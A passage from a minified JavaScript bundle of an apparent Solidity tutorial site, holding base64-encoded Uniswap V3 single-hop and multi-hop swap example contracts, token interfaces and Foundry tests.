ogICAgICAgICAgICBhbW91bnRPdXQ6IGFtb3VudE91dCwKICAgICAgICAgICAgYW1vdW50SW5NYXhpbXVtOiBhbW91bnRJbk1heCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHJvdXRlci5leGFjdE91dHB1dFNpbmdsZShwYXJhbXMpOwoKICAgICAgICBpZiAoYW1vdW50SW4gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCAwKTsKICAgICAgICAgICAgd2V0aC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRJbk1heCAtIGFtb3VudEluKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJU3dhcFJvdXRlcjAyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW47CiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW5pbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dFNpbmdsZShFeGFjdElucHV0U2luZ2xlUGFyYW1zIGNhbGxkYXRhIHBhcmFtcykKICAgICAgICBleHRlcm5hbAogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW5NYXhpbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RPdXRwdXRTaW5nbGUoRXhhY3RPdXRwdXRTaW5nbGVQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50SW4pOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3SingleHopSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM1NpbmdsZUhvcFN3YXAuc29sIjsKCmNvbnRyYWN0IFVuaXN3YXBWM1NpbmdsZUhvcFN3YXBUZXN0IGlzIFRlc3QgewogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFNXQVBfUk9VVEVSXzAyID0KICAgICAgICAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJX1dFVEhfUE9PTF8zMDAwID0KICAgICAgICAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CgogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBVbmlzd2FwVjNTaW5nbGVIb3BTd2FwIHByaXZhdGUgc3dhcDsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgQU1PVU5UX0lOID0gMWUxODsKICAgIHVpbnQyNTYgcHJpdmF0ZSBjb25zdGFudCBBTU9VTlRfT1VUID0gNTAgKiAxZTE4OwogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IE1BWF9BTU9VTlRfSU4gPSAxZTE4OwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHsKICAgICAgICBzd2FwID0gbmV3IFVuaXN3YXBWM1NpbmdsZUhvcFN3YXAoKTsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IEFNT1VOVF9JTiArIE1BWF9BTU9VTlRfSU59KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Moc3dhcCksIHR5cGUodWludDI1NikubWF4KTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3N3YXBFeGFjdElucHV0U2luZ2xlSG9wKCkgcHVibGljIHsKICAgICAgICBzd2FwLnN3YXBFeGFjdElucHV0U2luZ2xlSG9wKEFNT1VOVF9JTiwgMSk7CiAgICAgICAgdWludDI1NiBkMSA9IGRhaS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgYXNzZXJ0R3QoZDEsIDAsICJEQUkgYmFsYW5jZSA9IDAiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3N3YXBFeGFjdE91dHB1dFNpbmdsZUhvcCgpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB3MCA9IHdldGguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgZDAgPSBkYWkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHN3YXAuc3dhcEV4YWN0T3V0cHV0U2luZ2xlSG9wKEFNT1VOVF9PVVQsIE1BWF9BTU9VTlRfSU4pOwogICAgICAgIHVpbnQyNTYgdzEgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKCiAgICAgICAgYXNzZXJ0THQodzEsIHcwLCAiV0VUSCBiYWxhbmNlIGRpZG4ndCBkZWNyZWFzZSIpOwogICAgICAgIGFzc2VydEd0KGQxLCBkMCwgIkRBSSBiYWxhbmNlIGRpZG4ndCBpbmNyZWFzZSIpOwogICAgICAgIGFzc2VydEVxKHdldGguYmFsYW5jZU9mKGFkZHJlc3Moc3dhcCkpLCAwLCAiV0VUSCBiYWxhbmNlIG9mIHN3YXAgIT0gMCIpOwogICAgICAgIGFzc2VydEVxKGRhaS5iYWxhbmNlT2YoYWRkcmVzcyhzd2FwKSksIDAsICJEQUkgYmFsYW5jZSBvZiBzd2FwICE9IDAiKTsKICAgIH0KfQo="},{fileName:"UniswapV3SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWM1N3YXBFeGFtcGxlcyB7CiAgICBJU3dhcFJvdXRlciBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcigweEU1OTI0MjdBMEFFY2U5MkRlM0VkZWUxRjE4RTAxNTdDMDU4NjE1NjQpOwoKICAgIGZ1bmN0aW9uIHN3YXBFeGFjdElucHV0U2luZ2xlSG9wKGFkZHJlc3MgdG9rZW5JbiwgYWRkcmVzcyB0b2tlbk91dCwgdWludDI0IHBvb2xGZWUsIHVpbnQyNTYgYW1vdW50SW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCkKICAgIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuSW4sCiAgICAgICAgICAgIHRva2VuT3V0OiB0b2tlbk91dCwKICAgICAgICAgICAgZmVlOiBwb29sRmVlLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGRlYWRsaW5lOiBibG9jay50aW1lc3RhbXAsCiAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluaW11bTogMCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dE11bHRpSG9wKGJ5dGVzIGNhbGxkYXRhIHBhdGgsIGFkZHJlc3MgdG9rZW5JbiwgdWludDI1NiBhbW91bnRJbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KQogICAgewogICAgICAgIElFUkMyMCh0b2tlbkluKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIElFUkMyMCh0b2tlbkluKS5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW4pOwoKICAgICAgICBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zKHsKICAgICAgICAgICAgcGF0aDogcGF0aCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBkZWFkbGluZTogYmxvY2sudGltZXN0YW1wLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IDAKICAgICAgICB9KTsKICAgICAgICBhbW91bnRPdXQgPSByb3V0ZXIuZXhhY3RJbnB1dChwYXJhbXMpOwogICAgfQp9CgppbnRlcmZhY2UgSVN3YXBSb3V0ZXIgewogICAgc3RydWN0IEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgewogICAgICAgIGFkZHJlc3MgdG9rZW5JbjsKICAgICAgICBhZGRyZXNzIHRva2VuT3V0OwogICAgICAgIHVpbnQyNCBmZWU7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBkZWFkbGluZTsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgICAgICB1aW50MTYwIHNxcnRQcmljZUxpbWl0WDk2OwogICAgfQoKICAgIC8vLyBAbm90aWNlIFN3YXBzIGFtb3VudEluIG9mIG9uZSB0b2tlbiBmb3IgYXMgbXVjaCBhcyBwb3NzaWJsZSBvZiBhbm90aGVyIHRva2VuCiAgICAvLy8gQHBhcmFtIHBhcmFtcyBUaGUgcGFyYW1ldGVycyBuZWNlc3NhcnkgZm9yIHRoZSBzd2FwLCBlbmNvZGVkIGFzIEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgaW4gY2FsbGRhdGEKICAgIC8vLyBAcmV0dXJuIGFtb3VudE91dCBUaGUgYW1vdW50IG9mIHRoZSByZWNlaXZlZCB0b2tlbgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dFNpbmdsZShFeGFjdElucHV0U2luZ2xlUGFyYW1zIGNhbGxkYXRhIHBhcmFtcykgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0SW5wdXRQYXJhbXMgewogICAgICAgIGJ5dGVzIHBhdGg7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBkZWFkbGluZTsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgIH0KCiAgICAvLy8gQG5vdGljZSBTd2FwcyBhbW91bnRJbiBvZiBvbmUgdG9rZW4gZm9yIGFzIG11Y2ggYXMgcG9zc2libGUgb2YgYW5vdGhlciBhbG9uZyB0aGUgc3BlY2lmaWVkIHBhdGgKICAgIC8vLyBAcGFyYW0gcGFyYW1zIFRoZSBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSBmb3IgdGhlIG11bHRpLWhvcCBzd2FwLCBlbmNvZGVkIGFzIEV4YWN0SW5wdXRQYXJhbXMgaW4gY2FsbGRhdGEKICAgIC8vLyBAcmV0dXJuIGFtb3VudE91dCBUaGUgYW1vdW50IG9mIHRoZSByZWNlaXZlZCB0b2tlbgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dChFeGFjdElucHV0UGFyYW1zIGNhbGxkYXRhIHBhcmFtcykgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3SwapExamplesTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM1N3YXBFeGFtcGxlcy5zb2wiOwoKYWRkcmVzcyBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKYWRkcmVzcyBjb25zdGFudCBVU0RDID0gMHhBMGI4Njk5MWM2MjE4YjM2YzFkMTlENGEyZTlFYjBjRTM2MDZlQjQ4OwoKY29udHJhY3QgVW5pVjNTd2FwVGVzdCBpcyBUZXN0IHsKICAgIElXRVRIIHByaXZhdGUgd2V0aCA9IElXRVRIKFdFVEgpOwogICAgSUVSQzIwIHByaXZhdGUgZGFpID0gSUVSQzIwKERBSSk7CiAgICBJRVJDMjAgcHJpdmF0ZSB1c2RjID0gSUVSQzIwKFVTREMpOwoKICAgIFVuaXN3YXBWM1N3YXBFeGFtcGxlcyBwcml2YXRlIHVuaSA9IG5ldyBVbmlzd2FwVjNTd2FwRXhhbXBsZXMoKTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7fQoKICAgIGZ1bmN0aW9uIHRlc3RTaW5nbGVIb3AoKSBwdWJsaWMgewogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogMWUxOH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRTaW5nbGVIb3AoV0VUSCwgREFJLCAzMDAwLCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RNdWx0aUhvcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIDFlMTgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9IGFiaS5lbmNvZGVQYWNrZWQoV0VUSCwgdWludDI0KDMwMDApLCBVU0RDLCB1aW50MjQoMTAwKSwgREFJKTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRNdWx0aUhvcChwYXRoLCBXRVRILCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQp9Cg=="}],kb=`
                    Uniswap V3 Single Hop Swap
                    
+`,yb=({prev:s,next:a})=>r.jsx(u,{version:db,title:Cb,description:jb,html:Ab,prev:s,next:a,codes:ub}),mb="0.8.24",bb="Uniswap V3 Swap Examples",wb="Uniswap V3 swap examples",kb=[{fileName:"UniswapV3MultiHopSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CmFkZHJlc3MgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKYWRkcmVzcyBjb25zdGFudCBVU0RDID0gMHhBMGI4Njk5MWM2MjE4YjM2YzFkMTlENGEyZTlFYjBjRTM2MDZlQjQ4OwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKCmNvbnRyYWN0IFVuaXN3YXBWM011bHRpSG9wU3dhcCB7CiAgICBJU3dhcFJvdXRlcjAyIHByaXZhdGUgY29uc3RhbnQgcm91dGVyID0gSVN3YXBSb3V0ZXIwMihTV0FQX1JPVVRFUl8wMik7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSUVSQzIwKFdFVEgpOwogICAgSUVSQzIwIHByaXZhdGUgY29uc3RhbnQgZGFpID0gSUVSQzIwKERBSSk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0SW5wdXRNdWx0aUhvcCh1aW50MjU2IGFtb3VudEluLCB1aW50MjU2IGFtb3VudE91dE1pbikKICAgICAgICBleHRlcm5hbAogICAgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIGJ5dGVzIG1lbW9yeSBwYXRoID0KICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZChXRVRILCB1aW50MjQoMzAwMCksIFVTREMsIHVpbnQyNCgxMDApLCBEQUkpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0SW5wdXRQYXJhbXMgbWVtb3J5IHBhcmFtcyA9IElTd2FwUm91dGVyMDIKICAgICAgICAgICAgLkV4YWN0SW5wdXRQYXJhbXMoewogICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluaW11bTogYW1vdW50T3V0TWluCiAgICAgICAgfSk7CgogICAgICAgIHJvdXRlci5leGFjdElucHV0KHBhcmFtcyk7CiAgICB9CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0T3V0cHV0TXVsdGlIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9CiAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoREFJLCB1aW50MjQoMTAwKSwgVVNEQywgdWludDI0KDMwMDApLCBXRVRIKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdE91dHB1dFBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RPdXRwdXRQYXJhbXMoewogICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGFtb3VudE91dDogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRJbk1heGltdW06IGFtb3VudEluTWF4CiAgICAgICAgfSk7CgogICAgICAgIHVpbnQyNTYgYW1vdW50SW4gPSByb3V0ZXIuZXhhY3RPdXRwdXQocGFyYW1zKTsKCiAgICAgICAgaWYgKGFtb3VudEluIDwgYW1vdW50SW5NYXgpIHsKICAgICAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgMCk7CiAgICAgICAgICAgIHdldGgudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5NYXggLSBhbW91bnRJbik7CiAgICAgICAgfQogICAgfQp9CgppbnRlcmZhY2UgSVN3YXBSb3V0ZXIwMiB7CiAgICBzdHJ1Y3QgRXhhY3RJbnB1dFBhcmFtcyB7CiAgICAgICAgYnl0ZXMgcGF0aDsKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudDsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFjdElucHV0KEV4YWN0SW5wdXRQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KTsKCiAgICBzdHJ1Y3QgRXhhY3RPdXRwdXRQYXJhbXMgewogICAgICAgIGJ5dGVzIHBhdGg7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBhbW91bnRPdXQ7CiAgICAgICAgdWludDI1NiBhbW91bnRJbk1heGltdW07CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RPdXRwdXQoRXhhY3RPdXRwdXRQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50SW4pOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3MultiHopSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM011bHRpSG9wU3dhcC5zb2wiOwoKY29udHJhY3QgVW5pc3dhcFYzTXVsdGlIb3BTd2FwVGVzdCBpcyBUZXN0IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBTV0FQX1JPVVRFUl8wMiA9CiAgICAgICAgMHg2OGIzNDY1ODMzZmI3MkE3MGVjREY0ODVFMGU0QzdiRDg2NjVGYzQ1OwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4